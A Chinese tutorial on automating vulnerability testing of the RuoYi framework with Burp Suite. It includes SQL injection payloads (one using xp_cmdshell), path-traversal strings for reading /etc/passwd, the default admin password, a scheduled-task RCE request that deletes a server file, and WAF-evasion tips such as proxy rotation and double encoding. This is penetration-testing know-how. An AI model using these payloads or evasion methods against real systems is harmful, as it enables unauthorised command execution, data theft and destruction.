手把手教你用Burp Suite自动化检测若依(RuoYi)常见漏洞
在安全测试领域,效率往往决定着一次渗透测试的成败。面对若依(RuoYi)这样功能丰富的企业级开发框架,手动测试每个潜在漏洞点不仅耗时耗力,还容易遗漏关键攻击面。本文将带你构建一套完整的Burp Suite自动化检测方案,从基础配置到高级插件开发,全面提升你的测试效率。
1. 环境准备与目标识别
工欲善其事,必先利其器。在开始自动化检测前,我们需要确保Burp Suite环境配置正确,并准确识别目标系统特征。
首先确认你的Burp Suite Professional版本不低于2023.3,这是确保所有高级功能可用的基础。建议安装以下扩展增强功能:
- Logger++:用于请求/响应日志的深度分析
- Turbo Intruder:处理高频攻击负载
- Autorize:自动化权限测试
- Flow:可视化请求序列
若依框架的识别特征包括:
- 默认登录页面包含"若依"字样
/ruoyi或/admin常见路径- 特定Cookie字段如
sidebarStatus - 响应头中的
X-Powered-By: RuoYi
典型识别请求示例:
GET /login HTTP/1.1 Host: target.com Accept: text/html,application/xhtml+xml HTTP/1.1 200 OK Server: nginx/1.18.0 X-Powered-By: RuoYi Content-Type: text/html <!DOCTYPE html> <html lang="zh-CN"> <head> <title>若依管理系统</title>2. 构建基础扫描策略
Burp Suite的Scan Policies功能可以让我们定义针对特定框架的深度检测规则。针对若依框架,建议创建专属扫描策略。
2.1 SQL注入检测配置
在Scan Policies > New中创建新策略,重点关注以下位置:
- POST参数中的
params[dataScope] - URL参数中的
orderByColumn - JSON体中的动态字段
推荐检测载荷:
params[beginTime]': ' AND 1=CONVERT(INT,@@VERSION)-- params[dataScope]': ' EXEC xp_cmdshell('whoami')--2.2 文件读取漏洞检测
通过Intruder模块批量测试文件读取端点,使用以下字典:
/profile/../../../../etc/passwd /WEB-INF/web.xml /../../../../Windows/win.ini配置Intruder的Resource Pool限制为5线程,避免触发WAF防护。
3. 高级自动化技术
3.1 使用Macros实现认证维持
若依系统通常需要保持会话状态,通过Burp的Session Handling Rules可以自动维持登录:
- 在
Project options > Sessions添加新规则 - 配置
Macro处理登录请求 - 设置
Scope为所有若依相关路径
示例Macro配置:
POST /login HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=admin&password=admin123&code=12343.2 定制化插件开发
对于特殊检测场景,可以开发简单BApp扩展。以下是一个检测定时任务RCE的Python插件框架:
from burp import IBurpExtender from burp import IScannerCheck class BurpExtender(IBurpExtender, IScannerCheck): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.registerScannerCheck(self) def doPassiveScan(self, baseRequestResponse): # 检测计划任务端点 if b'/monitor/job' in baseRequestResponse.getRequest(): return self._checkRCEVulnerability(baseRequestResponse) return None def _checkRCEVulnerability(self, requestResponse): # 具体检测逻辑实现 pass4. 实战检测流程
4.1 自动化扫描工作流
- 初始探测:使用
Target > Site map分析应用结构 - 被动扫描:启用自定义Scan Policy进行全站扫描
- 主动验证:对疑似漏洞点使用Intruder进行确认
- 结果分析:通过
Dashboard查看漏洞报告
4.2 典型漏洞验证案例
后台RCE验证步骤:
- 在Repeater中构造请求:
POST /monitor/job/add HTTP/1.1 Content-Type: application/json { "jobName": "test", "invokeTarget": "org.springframework.util.FileSystemUtils.delete('/tmp/poc')" }- 观察响应状态码及内容
- 检查服务器上
/tmp/poc是否被删除
5. 防御规避与优化
为避免触发安全防护,建议:
- 速率控制:在Intruder中设置100ms延迟
- IP轮换:配置Upstream Proxy使用代理池
- 载荷变形:使用
Payload Processing对特殊字符编码
有效载荷变形规则:
原始: <#= 123 #> URL编码: %3C%23%3D%20123%20%23%3E HTML实体: <#= 123 #>在实际测试中,我发现若依系统的/system/role/export端点对载荷编码特别敏感,使用双重URL编码往往能绕过基础防护。同时,通过调整HTTP头的顺序和大小写可以有效规避某些WAF的规则匹配。